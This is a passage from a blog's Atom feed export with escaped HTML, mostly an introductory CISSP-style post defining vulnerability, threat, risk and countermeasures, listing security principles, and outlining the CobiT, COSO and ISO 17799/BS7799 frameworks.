&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;a href=&quot;http://www.ejbca.org/complimentary.html&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://www.ejbca.org/complimentary.html&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 18pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Times New Roman&#39;, serif; font-size: 13.5pt;&quot;&gt;&lt;a href=&quot;http://ejbca.org/older_releases/ejbca_3_11/htdocs/complimentary.html&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;http://ejbca.org/older_releases/ejbca_3_11/htdocs/complimentary.html&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/5725553898576256758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/06/pki-setting-up-and-using-certificate.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/5725553898576256758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/5725553898576256758'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/06/pki-setting-up-and-using-certificate.html' title='PKI: Setting up and using a Certificate Authority using EJBCA'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2716531555213613403.post-8418272217794933921</id><published>2012-06-09T12:15:00.000-07:00</published><updated>2012-10-12T21:09:40.583-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CISSP"/><title type='text'>Security: Information Security, threats, risks</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;
Vulnerability&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;is software,
hardware, procedural, or human weakness that may provide an attacker the open
door he is&amp;nbsp;looking for to enter a computer or network and have
unauthorized access to resources within the environment. A&amp;nbsp;vulnerability
characterizes the absence or weakness of a safeguard that could be exploited.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Threat&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;is any potential danger to information
or systems. The threat is that someone, or something, will identify a
specific&amp;nbsp;vulnerability and use it against the company or individual. The
entity that takes advantage of a vulnerability is referred to as&amp;nbsp;a threat
agent.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Risk&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;is the likelihood of a threat agent
taking advantage of a vulnerability and the corresponding business impact. If
a&amp;nbsp;firewall has several ports open, there is a higher likelihood that an
intruder will use one to access the network in an&amp;nbsp;unauthorized method.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;An&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;exposure&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;is an instance of being exposed to
losses from a threat agent.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;countermeasure&lt;/b&gt;, or safeguard,
is put into place to mitigate the potential risk. A countermeasure may be a
software&amp;nbsp;configuration, a hardware device, or a procedure that eliminates
a vulnerability or that reduces the likelihood a threat agent&amp;nbsp;will be able
to exploit a vulnerability.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Typical
Threat Agents:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Accidental
     discovery&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Automated
     malware&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;curious attacker&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Script kiddie&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;motivated
     attacker ( or disgruntled employee)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Organized crime.&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; line-height: 105%;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; line-height: 105%;&quot;&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Security
model&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security Principles&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot; type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Minimize attack
     surface&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;secure defaults&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;principle of
     least&amp;nbsp;privilege&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;defense in depth&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Fail securely&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;External systems
     are insecure.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;separation of
     duties&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;It ensures no single person has total control over an activity or task.&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Split knowledge and dual control are two aspects of separation of duties.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Do not trust
     security through&amp;nbsp;obscurity&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;simplicity&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;fix security
     issues correctly&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security planning&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Has
various layers, but it also has different types of goals to accomplish in
different&amp;nbsp;time frames.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Strategic
     planning is&amp;nbsp;the plans that fall in line with the business and
     information technology goals.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Tactical
     planning refers to the initiatives and other support that must be
     implemented to reach the broader goals that have&amp;nbsp;been put forth by
     the strategic planning&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;operational
     planning deals with very specific plans, their deadlines, and goals.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;This
approach to planning is called the planning horizon.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: solid #622423 1.0pt; border: none; mso-border-bottom-alt: solid #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-element: para-border-div; padding: 0in 0in 1.0pt 0in;&quot;&gt;
&lt;h2&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Security Frameworks&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;The
Control Objectives for Information and related Technology (&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;CobiT&lt;span style=&quot;font-weight: normal;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;was created by the Information&amp;nbsp;Systems Audit and Control Association (ISACA) to provide specific guidance for&amp;nbsp;creating and assessing IT controls. It&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-weight: normal;&quot;&gt;is a
framework and set of best practices&amp;nbsp;developed by the Information Systems
Audit and Control Association (ISACA) and the IT Governance Institute (ITGI).
It&amp;nbsp;defines goals for the controls that should be used to properly manage
IT and to ensure that IT maps to business needs.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;CobiT is broken down into
four domains(&lt;/span&gt;34 IT processes, ranging from strategic planning to&amp;nbsp;implementation, production support and monitoring&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;):&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Plan and
     Organize,&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Acquire and
     Implement,&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Deliver and
     Support, and&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Monitor
     and&amp;nbsp;Evaluate.&lt;span style=&quot;font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;h3&gt;



&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;CobiT&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;CobiT is a framework that defines goals for the controls that should be used to properly manage IT and to ensure that&amp;nbsp;IT maps to business needs.&lt;/span&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Derived
from the COSO framework, developed by the Committee of Sponsoring Organizations
(COSO) of the&amp;nbsp;Treadway Commission in 1985 to deal with fraudulent
financial activities and reporting. The COSO framework is made up&amp;nbsp;of the
following components:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Control
     environment&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;-
Management&#39;s philosophy and operating style&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;-
Company culture as it pertains to ethics and fraud&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Risk assessment&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;-
Establishment of risk objectives&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;-
Ability to manage internal and external change&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Control activities&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;-
Policies, procedures, and practices put in place to mitigate risk&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Information and
     communication&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;-
Structure that ensures that the right people get the right information at the
right time&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Monitoring&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&amp;nbsp;-
Detecting and responding to control deficiencies&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: dotted #622423 1.0pt; border-left: none; border-right: none; border-top: dotted #622423 1.0pt; mso-border-bottom-alt: dotted #622423 .5pt; mso-border-bottom-themecolor: accent2; mso-border-bottom-themecolor: accent2; mso-border-bottom-themeshade: 127; mso-border-bottom-themeshade: 127; mso-border-top-alt: dotted #622423 .5pt; mso-border-top-themecolor: accent2; mso-border-top-themecolor: accent2; mso-border-top-themeshade: 127; mso-border-top-themeshade: 127; mso-element: para-border-div; padding: 1.0pt 0in 1.0pt 0in;&quot;&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;COSO&lt;span class=&quot;apple-converted-space&quot;&gt;&amp;nbsp;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;is a&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;M&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;odel for corporate governance and
CobiT is a model for IT governance. COSO deals more at the
strategic&amp;nbsp;level, while CobiT focuses more at the operational level. You
can think of CobiT as a way to meet many of the COSO&amp;nbsp;objectives, but only
from the IT perspective. COSO deals with non-IT items also, as in company
culture, financial&amp;nbsp;accounting principles, board of director
responsibility, and internal communication structures. COSO was formed to provide&amp;nbsp;sponsorship
for the National Commission on Fraudulent Financial Reporting, an organization
that studies deceptive&amp;nbsp;financial reports and what elements lead to them.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;b&gt;COBIT information security topics&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Security Policy&lt;/li&gt;
&lt;/ul&gt;
&amp;nbsp; &amp;nbsp; A&amp;nbsp;policy would typically address a specific topic such as&amp;nbsp;acceptable use of company e-mail, or wireless communications.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Security Standards&lt;/li&gt;
&lt;/ul&gt;
For example, the Benchmark provided by the Center for Internet Security (&lt;b&gt;CIS&lt;/b&gt;). This benchmark&amp;nbsp;provides specific guidance for configuring security on a Windows 2000 server.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Access and Authentication&lt;/li&gt;
&lt;/ul&gt;
In addition to AA, &amp;nbsp; Includes user and account mgmt.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Network Security&lt;/li&gt;
&lt;/ul&gt;
&amp;nbsp;firewalls, intrusion detection systems (IDS), encryption, certificates.&lt;br /&gt;
&amp;nbsp;- antivirus is mandatory.&lt;br /&gt;
&amp;nbsp;- use ethical hacking or penetration testing to test systems.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Monitoring&lt;/li&gt;
&lt;/ul&gt;
invalid logins, port scans, invalid authorization requests, &amp;nbsp;use analysis tools if appt.&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Segregation of Duties&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;Physical Security&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 0in; margin-left: 0in; margin-right: 0in; margin-top: 0in; text-align: left;&quot;&gt;
The Information Technology Governance Institute (&lt;b&gt;ITGI&lt;/b&gt;)&amp;nbsp;is a group created to assist&amp;nbsp;corporations with governing their IT and ensuring IT efficiently supports business&amp;nbsp;mission and goals. ITGI has used COSO and COBIT to create a set of specific IT&amp;nbsp;control objectives for SOX.
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

Security Standards&lt;/h3&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;Guidelines are recommendations and general approaches that provide advice and flexibility.&amp;nbsp;&lt;/span&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;There
are standards and industry best&amp;nbsp;practices, which provide the guidance and recipe
for how to set up and implement a full security program.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;A standard specifies how hardware and software are to be used. Standards are compulsory.&amp;nbsp;&lt;/span&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;The
most common standard used to be&lt;span class=&quot;apple-converted-space&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;ISO
17799&lt;/b&gt;, which was derived from the British Standard 7799&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;(&lt;b&gt;BS7799&lt;/b&gt;).
It is an internationally recognized Information Security Management (ISM)
Standard that provides high-level&amp;nbsp;conceptual recommendations on enterprise
security. The British Standard actually has two parts:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: .0001pt; margin: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li class=&quot;MsoNormal&quot;&gt;&lt;span style=&quot;font-family: Arial, sans-serif;&quot;&gt;- BS7799 Part
     1:&amp;nbsp;outlines control objectives and a range of controls to meet those
